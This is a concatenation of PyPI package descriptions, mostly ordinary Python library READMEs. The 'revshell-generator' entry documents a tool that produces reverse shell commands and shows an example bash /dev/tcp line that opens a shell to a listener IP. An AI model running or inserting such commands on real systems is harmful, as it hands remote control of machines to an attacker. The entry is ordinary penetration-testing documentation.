Saravanan666/pypi-org huggingface dataset:
Package: revproxy-auth
revproxy_authThis class implements a reverse proxy intended to work inside a Flask server, allows to use the synology auth credentials for all your services behind the synology service proxy.
Have you setup the reverse proxy in your synology NAS, but don´t want that everyone who knows your services´ URL can have access to your services?
This repo will allow you to restrict the access from internet to your internal Api REST webservices, using the credentials and users that you have created in your Synology NAS.
It will also request the OTP code if you have that configured in your NAS.Configuration yml file will be place in the /home/var/{yourservicename}Revproxy_auth can work in two mode:Embeded. You can embed the authentication by modifying your Flask based service:
self.app = Flask(name, template_folder=template_folder, static_folder=static_folder)
self.revproxy_auth = RevProxyAuth(self.app, root_class='yourservicename')
self.app.add_url_rule('/', 'index', self.main_endpoint, methods=['GET', 'POST'])
...
def main_endpoint(self):
""" Main endpoint that returns the main page for your service
Returns:
response: The main html content
"""
return self.revproxy_auth.get_auth_response(request, lambda : render_template('form.html'))Proxy
You need to make available a new service inside your LAN with the authproxy.
You may want to include revproxy-auth as part of you already existing services... no need to create an specific flask or any newwsgi just for this. Just make the API REST call available.
Configure the service in the config.yml so that it can redirect all the requests to the proper internal host & port.
Create all your entry points in the synology reverse proxy menu, and make all of them point to the authproxy endpoint
Package: revpull
revpullrevpullis a tool for pulling data from IBM eReview.DescriptionThis tool allows you to download content that is allowed for you from eReview using its API. As a result, you get a local copy of the eReview content with the original data structure.EnvironmentLanguages: PythonInterface: CLISupported OS: Linux, OS XInstallationRequirements:Python (>=3.6)Linux:$ pip install revpullOS X:$ curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
 $ python3 get-pip.py revpullUsageUsage:
    revpull --dir=TARGET_DIR_PATH --auth=W3ID_AUTH
    revpull -h | --help
    revpull -v | --version

Options:
    --dir=TARGET_DIR_PATH           Set the path to the directory where the content will be saved
    --auth=W3ID_AUTH                Set the uername:password value for authentication
    -h, --help                      Show this help message.
    -v, --version                   Show the version.Additional infoThe app is currently under development. The app may contain bugs.Use at your own risk.ContributingFork it.Create your feature branch:git checkout -b my-new-featureCommit your changes:git commit -am 'Add some feature'Push to the branch:git push origin my-new-featureSubmit a pull requestLicenseThe MIT License (MIT)Copyright (c) 2020 Mikalai LisitsaPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Package: revpy
# RevPy[![Build Status](https://travis-ci.org/flix-tech/RevPy.svg?branch=master)](https://travis-ci.org/flix-tech/RevPy)Collection of some revenue management tools for Python 3.## Features- Single leg optimizer (EMSRb)- Fare transformation for unrestricted fare structures- EMSRb for unrestricted fare structures (EMSRb-MR)- A multi-flight recapture method (MFRM) for estimating unconstrained demand from sales transaction data## TODO- Leg bid price calculator for networks using deterministic LP method- Based on this, implementation of DAVN## Literature1. Talluri and van Ryzin: "The Theory and Practice of Revenue Management", _Springer_ (2004)2. Fiig et al.: "Optimization of mixed fare structures: Theory and applications", _Journal of Revenue and Pricing Management_ (2010)3. Ratliff et al.: "A multi-flight recapture heuristic for estimating unconstrained demand from airline bookings", _Journal of Revenue and Pricing Management_ (2008)
Package: rev-reader
rev-readerParse Json of transcriptions from rev into FAVE-align format and write to CSV.TOCInstallHow to useNotesInstallPip install as outlined above.How to useBuilt in Python 3.6.5, should work with Python 2 as well.Run from the command line, option Ipython -m rev_reader.rev_reader $INPUT_FOLDER $ADDITIONAL_OFFSETwhere$INPUT_FOLDERis a path to a directory containing some JSON files of rev annotations. The output CSVs will be written to the same directory. This is a required argument.$ADDITIONAL_OFFSETis a number that will be added to / subtracted from the timestamps before the data is output as CSV. This is an optional argument.For example, the command below will convert all the JSON files in the folderannotated_filesand subtract 0.01 from each time stamp. It will write CSV files  to folderannotated_files.python -m rev_reader.rev_reader /home/patrick/Documents/annotated_files -.01Run from the command line, option IIYou can run therev_reader.pyfile directly by executing:python $PATH_TO_REV_READER.PY $INPUT_FOLDER $ADDITIONAL_OFFSETFor example, the command below will convert all the JSON files in the folderannotated_files. It will write CSV files to folderannotated_files.e.g.python rev_reader.py /home/patrick/Documents/annotated_files -.01Import into PythonYou can access the functions directly from Python by doingimport rev_readerRefer to the Githubdocsfor info.NotesThe naming scheme for CSVs is $LOWERCASE_NAME_OF_INPUT_JSON + $TIMESTAMP + "_faved.csv"For example, for input fileBE.TO.017.json, the CSV file will bebe.to.017_20181124-1819_faved.csvDependencies: pandas
Package: rev-seqs
rev-seqs: Revert Sequences to Consensus Preserving Variantsrev-seqs is a command line utility to revert sequences to consensus preserving variants detected in a VCF file. It reverts all other positions the sample consensusUsageOnce installed rev-seqs is just a simple command line command.python-mrevseqs--input<inputfile>--vcf<vcffile>><output_file>runpython revseqs -hfor more optionsThe new bam file is written to standard output.
Input file must be an indexed bam fileInsertsAny inserts that are not flagged as variants are removed, those inserts along with sample header are printed to standard error. The sample name is followed by a comma separated list of insert positions that were removed.To save this file for future inspect redirect standard error to a file using the command belowpython-mrevseqs--input<input.bam>--vcf<variants.vcf>><output.bam>2><inserts>Installationpipinstallrev-seqsCollaborationIf you have any issues, bugs, or feature requests please contact the author,nhannguyen72089@gmail.com
Package: revshell-generator
General Informationhttps://pypi.org/project/revshell-generator/The Reverse Shell Generator is a CLI tool that assists in quickly generating reverse shell commands and their corresponding listener commands.InstallationYou can either clone the repository or install the package from PyPI.Clone the repository:aptinstallpython3python3-pip
gitclonehttps://github.com/totekuh/reverse-shell-generatorcdreverse-shell-generator
pip3install.
python3revshellgenerator.py-hPyPI:sudoaptinstallpython3python3-pip
sudopip3installrevshell-generator
revshell-generator-hUsageYou can use the Reverse Shell Generator either interactively or by passing parameters directly on the command line.Running the Reverse Shell Generator$revshell-generator
Welcometothereverseshellgenerator.Type'help'or'?'tolistavailablecommands.Setting Reverse IP Address and Portrevshell-generator--ip192.168.1.10--port8080--shell/bin/bashYou can also specify the IP address by providing a network interface name:revshell-generator--ipeth0--port8080--shell/bin/bashIn interactive mode, you can set these parameters using the ip, port, and shell commands:>>ip192.168.1.10
>>port8080>>shell/bin/bashListing Available Reverse Shell Commands>>listreverseNote: the indexes are used while choosing the command template.Listing Available Listener Commands>>listlistenersGenerating Reverse Shell Commands$python3revshellgenerator.py
>>getreverse0The above command will generate the first available reverse shell command, replacing the placeholders with the provided IP, port, and shell. Here's an example of how it might look:bash-i>&/dev/tcp/192.168.1.10/80800>&1Generating Listener Commands>>getlisteners10For more detailed instructions and specific commands, use the 'help' command followed by the command name, such ashelp listorhelp get.
Package: revsymg
Reverse Symmetric Graph: a Python3 API to store succession relationships between DNA oriented fragments in an oriented graphrevsymgis a Python3 API to store succession relationships between oriented fragments (in forward or reverse orientation) that have been sequenced from nucleotide sequence(s) in an oriented graph.
For example, this API can be used for a genome assembly overlap-layout-consensus method.You can find the completedocumentation hereQuick installationTo install therevsymgpackage from thePyPI repository, run thepipcommand :pipinstallrevsymgYou can find more installation details in thedocs/src/install.mdfile.Quick usage examplefromrevsymg.graphsimportRevSymGraphfromrevsymg.libimportFORWARD_INT,REVERSE_INT## Create an empty graph#graph=RevSymGraph()vertices=graph.vertices()edges=graph.edges()## Add two vertices v and w that represents e.g. DNA fragments#frag_1_index=vertices.add()# = 0frag_2_index=vertices.add()# = 1## Add to the graph the overlap v reverse overlaps w forward#frag_1_r=(frag_1_index,REVERSE_INT)frag_2_f=(frag_2_index,FORWARD_INT)overlap_index=edges.add(frag_1_r,frag_2_f)# = 0foru,v,edge_indexinedges:print(f'Predecessor:\t{u}\n'f'Successor:\t{v}\n'f'Edge index:\t{edge_index}\n',)# The for-loop print this:##   Predecessor:    (1, 1)#   Successor:      (0, 0)#   Edge index:     0##   Predecessor:    (0, 1)#   Successor:      (1, 0)#   Edge index:     0#ChangelogYou can refer to thedocs/src/changelog.mdfile for details.What next?Find a list of ideas in thedocs/src/todo.mdfile.ContributingIf you find any errors, missing documentation or test, or you want to discuss features you would like to have, please post an issue (with the corresponding predefined template)here.If you want to help me code, please post an issue or contact me. You can find coding convention in thedocs/src/contributing.mdfile.ReferencesThe implemented structure is described asDGFin this preprint:📰 Victor Epain, ‘Overlap Graph for Assembling and Scaffolding Algorithms: Paradigm Review and Implementation Proposals’, 2022,https://hal.inria.fr/hal-03815190Inspired bygraph-toolLicenceThis work is licensed under aGNU-GPLv3 licence.
Package: revTongYi
revTongYi原作者xw5xr6已销号跑路，现接手维护阿里通义千问、通义万相 Python逆向APIpipinstallrevTongYi--upgrade通义千问 - AI对话需要通义千问测试资格# 非流式模式importrevTongYi.qianwenasqwenquestion="人工智能将对人类社会发展产生什么影响？"chatbot=qwen.Chatbot(cookies=<cookies_dict># 以dict形式提供cookies)# chatbot = qwen.Chatbot(#     cookies_str=<cookies_str>  # 您也可以使用字符串形式提供cookies，cookies字符串可以从浏览器的请求头中获取# )print(chatbot.ask(prompt=question))# 流式模式importrevTongYi.qianwenasqwenquestion="人工智能将对人类社会发展产生什么影响？"chatbot=qwen.Chatbot(cookies=<cookies_dict># 以dict形式提供cookies)forrespinchatbot.ask(prompt=question,stream=True):print(resp)连续对话返回值中有个msgId，下一次调用ask时以parentId传入这个值，即可继续对话。列出会话列表sessions=chatbot.list_session()删除指定会话chatbot.delete_session(sessionId=<session_id>)修改会话标题chatbot.update_session(sessionId=<session_id>,summary=<new_title>)获取会话历史记录history=chatbot.get_session_history(sessionId=<session_id>)CLI模式安装Chrome/Edge或Firefox上的Cookies Editor插件前往https://qianwen.aliyun.com/并登录打开此插件，点击Export->Export as JSON，将复制的Cookies内容保存到文件cookies.jsonpython-mrevTongYi.__init__通义万相 - AI图片生成importrevTongYi.wanxiangaswanximagebot=wanx.Imagebot(cookies=<cookies_dict># 以dict形式提供cookies)print(imagebot.generate(prompt="草原"))# 生成四张图片，downloadUrl为图片下载链接
Package: revWenXin
WenXinAPI对百度文心一言API的简单封装，支持多用户上下文对话github地址安装python -m pip install --upgrade WenXinAPI支持Python版本最小版本 - Python3.6推荐 - Python3.8+使用方法配置方法在百度智能云的文心千帆平台上申请使用资格在控制台应用列表页面创建应用获取并保存API_KEY和SECRET_KEY使用示例（异步流式)fromWenXinAPI.V1importChatBotchatbot=ChatBot(api_key="<your API_KEY>",secret_key="<your SECRET_KEY>",engine="<ENGINE you choose>")print(awaitchatbot.ask("你好！"))
Package: rewardify
rewardify-baseBase frame reward systemFree software: BSD licenseDocumentation:https://rewardify-base.readthedocs.io.FeaturesTODOCreditsThis package was created withCookiecutterand theaudreyr/cookiecutter-pypackageproject template.History0.0.0 (2019-06-08)First release on PyPI.0.1.0 (2019-06-14)Initial version0.1.1 (2019-06-14)Fixed bug in setup.py, which caused the “backends” package to be excluded0.2.0 (2019-06-15)Internal changes in the recycle method for rewardsAdded a “user_exists” method to the facade, which will return, whether or not the given user
name exists in the database or notAdded “effect” field to Reward classAn optional string item “effect” can ba added to the config of any reward. This string should contain
special syntax, for what effect the reward usage should have on the rewardify systemCurrently granting the user gold and dust are supported effectsAdded more methods for handling rewards to the facade, which include buying, using and recycling
rewards0.2.1 (2019-06-16)Fixed, that the facade method for buying a pack internally called the method for adding a pack, thus not
actually spending gold on it0.2.2 (2019-06-16)Added “user.save()” calls to all the methods of the facade, that modify the models, so that the modifications
actually get taken over into the database0.2.3 (2019-06-16)Extended the clean method for the Environment setup of the test cases to also remove sub folders0.2.4 (2019-06-16)Fixed a bug, which causes the “open_pack” method of the User model not to work properly0.2.5 (2019-06-16)Rethought the effect system: The “use” method of Reward now returns a list with functions, which contain the effects.Fixed a bug, where the facade method for using a reward did not execute the effects of the reward
properly0.2.6 (2019-06-16)Changed the install directory for linux from “~/.rewardify” to “/opt/.rewardify” as the previous one isnt working
with python path handling.0.2.10 (2019-06-16)Added a method “init” to the EnvironmentConfig singleton, which will create the connection to the database0.2.11 (2019-06-16)Fixed, that the pointer to the last accounted action was not being saved within the ForestBackend0.2.12 (2019-06-16)Fixed the gold evaluation for the reward effects, it was accidentally set to constant value
Package: rewardifycli
rewardifycliCLI interface for rewardify packageFree software: BSD licenseDocumentation:https://rewardifycli.readthedocs.io.FeaturesTODOCreditsThis package was created withCookiecutterand theaudreyr/cookiecutter-pypackageproject template.History0.0.0.0 (2019-06-14)First release on PyPI.0.0.1 (2019-06-16)Initial test version0.0.2 (2019-06-16)Fixed the bug of the “__internal” package not being included in the pypi release0.0.3 (2019-06-16)Fixed the “run” command not being associated with the “install” command group0.0.5 (2019-06-2019)Added the environment config initialization (also connection to the database) to the start
of every command.0.0.6 (2019-06-2019)Added the “login” command to the main command group, as it was previously missing0.0.7 (2019-06-2019)Added the “update” command to the main command group0.1.0 (2019-06-2019)First usable versionUpdated the templates to be a bit prettier
Package: rewind
Have you ever been nervous of all those DBMSs schema changes when you
are deploying your applications? They are gonna take too long, or break
backward compatibility? Have you ever thought “Crap, I wish I had stored
that information since earlier”? Have you ever felt your writing
patterns and your reading patterns differ a lot, making things harder to
scale?CQRS (Command-Query Response Segregation) is an architectural pattern
that aims to solve these issues by splitting up your architectural
system into two parts:Awrite sidethat takes care of validating input and optimizes for
fast writes. The write side takes commands and outputs corresponding
events if the command validates correctly.Aread sidethat listens to incoming events from the write side. The
read side is optimized for fast reads.A common concept in CQRS is aevent storewhich sits inbetween the
write and the read side. The event store takes care of three things:persisting all events to disk.being a hub/broker replicating all events from the write to the read
side of things.allowing fast querying of events so that different parts of the system
can be synced back on track and new components can be brought back in
play.rewindis an event store application that talks ZeroMQ. It is written
in Python and supports multiple storage backends.
Package: rewind-client
Have you ever been nervous of all those DBMSs schema changes when you
are deploying your applications? They are gonna take too long, or break
backward compatibility? Have you ever thought “Crap, I wish I had stored
that information since earlier”? Have you ever felt your writing
patterns and your reading patterns differ a lot, making things harder to
scale?CQRS (Command-Query Response Segregation) is an architectural pattern
that aims to solve these issues by splitting up your architectural
system into two parts:Awrite sidethat takes care of validating input and optimizes for
fast writes. The write side takes commands and outputs corresponding
events if the command validates correctly.Aread sidethat listens to incoming events from the write side. The
read side is optimized for fast reads.A common concept in CQRS is anevent storewhich sits inbetween the
write and the read side. The event store takes care of three things:persisting all events to disk.being a hub/broker replicating all events from the write to the read
side of things.allowing fast querying of events so that different parts of the system
can be synced back on track and new components can be brought back in
play.rewind-clientis the Python client forRewind, a standalone event
store application that is written in Python and talks ZeroMQ.
Package: rewire
Rewire: A Streamlined Type-Based Dependency Injection Framework for Focused DevelopmentRewire is a user-friendly framework dedicated to type-based dependency injection, allowing developers to focus on writing code rather than dealing with boilerplate.InstallationInstall Rewire using pip:pip install rewireKey Features and BenefitsDependency InjectionEmploy Rewire's advanced type-based dependency injection system to automatically manage the instantiation, configuration, and resolution of components in your application. This lets you concentrate on
developing functionality without being bogged down by dependency management.Configuration Injection (YAML & Python Functions)Easily load configurations from a YAML file using Rewire's versatile configuration injection mechanism, which supports Python function extensions. Set up complex applications with ease and consistency
while maintaining flexibility.Automatic File ImportAutomatically import required files based on defined configurations within your Rewire-powered application. Keep your project organized by trusting Rewire to handle file imports, promoting code
reusability and minimizing potential errors.Lifecycle ManagerEasily manage the lifecycles of components with Rewire's robust start/stop manager. Control the initialization and disposal of resources efficiently, ensuring optimal resource usage.Extensibility & HackabilityRewire is designed to be both extensible and hackable, enabling developers to tailor the framework to their specific needs. Customize components, add new features, or integrate Rewire with other
libraries as desired, making it a powerful choice for any project.ExamplesSimple FastAPI app
Package: rewire-fastapi
rewire_fastapiA FastAPI integration for rewire.InstallationTo get started, installrewire_fastapiusing pip:pipinstallrewire_fastapiSupported ServersThis package supports running with both Uvicorn and Hypercorn servers (rewire_fastapi.server).UsageFirst, import addrewire_fastapito your rewire application:# ...importrewire_fastapiasyncdefmain():asyncwithSpace().init().use():DependenciesModule.get().add(rewire_fastapi.plugin)# add this# ...Then have injected fastapi in your files:fromfastapiimportAPIRouter,FastAPIfromrewire.pluginsimportsimple_pluginplugin=simple_plugin()router=APIRouter()@router.get("/hello")defhello_world():return"world"@plugin.setup()asyncdefinclude_router(app:FastAPI):app.include_router(router)ConfigurationConfigure the package inconfig.yamlfile:rewire_fastapi:server:"hypercorn"app:# will be passed to FastAPI instancetitle:"MyApp"uvicorn:# (optional)port:1234hypercorn:# (optional)bind:"0.0.0.0:1234"routes:# (optional)tag_prefix:"myapp:"patch:# (optional)swagger_hierarchical_tags:truetag_prefixes:truemiddleware:cors:# enable cors middleware (optional)allow_origins:["*"]allow_methods:["*"]allow_headers:["*"]
Package: rework-ui
REWORK-UIRework-UI is areworkplugin which provides aviewsubcommand to thereworkcommand.The command launches a simple Web front-end to monitor and control
workers, tasks and operations ofrework.It works like this:$reworkviewpostgres://babar:celeste@jobstore:5432/*Runningonhttp://192.168.56.1:5679/(PressCTRL+Ctoquit)192.168.56.1--[10/Nov/201714:32:04]"GET /rework HTTP/1.1"200-192.168.56.1--[10/Nov/201714:32:04]"GET /services-table HTTP/1.1"200-192.168.56.1--[10/Nov/201714:32:04]"GET /workers-table HTTP/1.1"200-192.168.56.1--[10/Nov/201714:32:07]"GET /tasks-table HTTP/1.1"200-At the same time, a browser tab opens, and we can see the big picture.
Package: rewraa
RewRaa (RSA ENCRYPTED WILD ROUND AES APPLICATION, note i have no idea
why i choose that name) is a socket-server chat program which uses rsa
encryption to encrypt an aes key for encrypting/decrypting messagesImagine the following encryption scheme:# first transfer aes key
(CLIENT) => RSA_PUBLIC => (SERVER)
(SERVER) => RSA_ENCRYPTED_AES_KEY => (CLIENT)

        (C) => ENC_DATA => (S)
                    - BROADCAST -
                    (C) - (C) - (C) # clients decrypt the messageBut working to give each client a seprate aes-key and signing the data
so you can’t create a fake server that reads all your data.NOTE: Only connect to trusted servers for now it has a big security flaw
and the only secure part is if anyone is monitoring your internet
traffic
Package: rewrapped
For the time being, more documentation is atthis project’s github pages.rewrapped lets you wrap your regular expressions in classes
with match groups flexibly mapped to named fields.A simple example:fromrewrappedimportReWrap,matchedclassInventory(ReWrap):matchOn="([0-9]+)\s+(\S+)"count=matched.g1.asIntitem=matched.g2This will yield match results which map the first match field
to the integercount, and the second to the string fielditem:>>>i=Inventory.search("there are 45 oranges left")>>>i.count45>>>i.item'oranges'>>>